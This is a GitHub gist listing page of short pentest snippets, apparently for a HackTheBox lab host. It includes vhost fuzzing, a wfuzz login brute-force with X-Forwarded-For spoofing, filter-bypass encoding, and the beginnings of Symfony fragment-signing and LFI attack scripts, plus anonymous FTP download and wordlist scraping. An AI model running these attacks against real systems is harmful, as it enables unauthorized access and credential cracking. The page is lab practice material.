Skip to content

Instantly share code, notes, and snippets.

View shollingsworth's full-sized avatar

Steven Hollingsworth shollingsworth

View GitHub Profile
@shollingsworth
shollingsworth / windows_serial_attack_cookie.sh
Created February 10, 2022 01:56
windows serial attack cookie
@shollingsworth
shollingsworth / vhost_scan_ffuf.sh
Created February 10, 2022 01:56
vhost scan ffuf
ffuf -u http://hackfail.htb/ -H "Host: FUZZ.hackfail.htb" -w "$(wl)" -timeout 100 -t 1 -fs 10676
@shollingsworth
shollingsworth / wordlist_from_website.sh
Created February 10, 2022 01:57
compile wordlist from website
cewl https://www.tesla.com/ > tesla_wordlist.txt
@shollingsworth
shollingsworth / wfuzz_crack_form_login.sh
Created February 10, 2022 01:57
wfuzz crack form login
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
user="stev0"
user="elonmusk"
wfuzz \
-w "$(wl)" \
-H "X-Forwarded-For: 127.0.0.1" \
@shollingsworth
shollingsworth / string_bypass.sh
Created February 10, 2022 01:58
curl string bypass attack
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
payload='elonmusk'
# unicode
ext="$(echo -ne "${payload}" | xxd -c 1 | awk '{print $2}' | sed 's/^/\\\\u00/' | tr -d '\n')"
# hex
ext="$(echo -ne "${payload}" | xxd -c 1 | awk '{print $2}' | sed 's/^/\\\\x/' | tr -d '\n')"
echo "${payload}"
@shollingsworth
shollingsworth / bash_convert_stdin_to_digits.sh
Created February 10, 2022 01:59
bash convert stdin to lines of 8bit digits
# Convert input into a series of digits
echo hello | xxd -c 1 | awk '{print $2}' | xargs -Inum printf "%d", 0xnum | tr ',' '\n'
@shollingsworth
shollingsworth / symphony_fragment_attack.py
Created February 10, 2022 02:06
symphony fragment attack
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HTB."""
import hashlib
import hmac
from base64 import b64encode
from urllib import parse
import requests
from html2text import html2text
@shollingsworth
shollingsworth / ftp_recursive_download.sh
Created February 10, 2022 02:07
ftp recursive download
# recusive download
wget -r --no-passive-ftp --ftp-user=anonymous [email protected] ftp://${RHOSTS}
@shollingsworth
shollingsworth / symphony_lfi_limited.sh
Created February 10, 2022 02:10
symphony lfi (limited)
# eos creds -H "X-Forwarded-For: 127.0.0.1" http://dev.hackfail.htb
# eos get http://dev.hackfail.htb var/cache/dev/profiler/index.csv
# eos scan -H "X-Forwarded-For: 127.0.0.1" http://dev.hackfail.htb
# eos sources -H "X-Forwarded-For: 127.0.0.1" http://dev.hackfail.htb -o sources
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
files=($(
@shollingsworth
shollingsworth / php_docker_mysql_environment.txt
Created February 10, 2022 02:11
php docker mysql environment
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
cat <<MEOF >create.sql
CREATE DATABASE testing;
create table testing.users(
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) NOT NULL,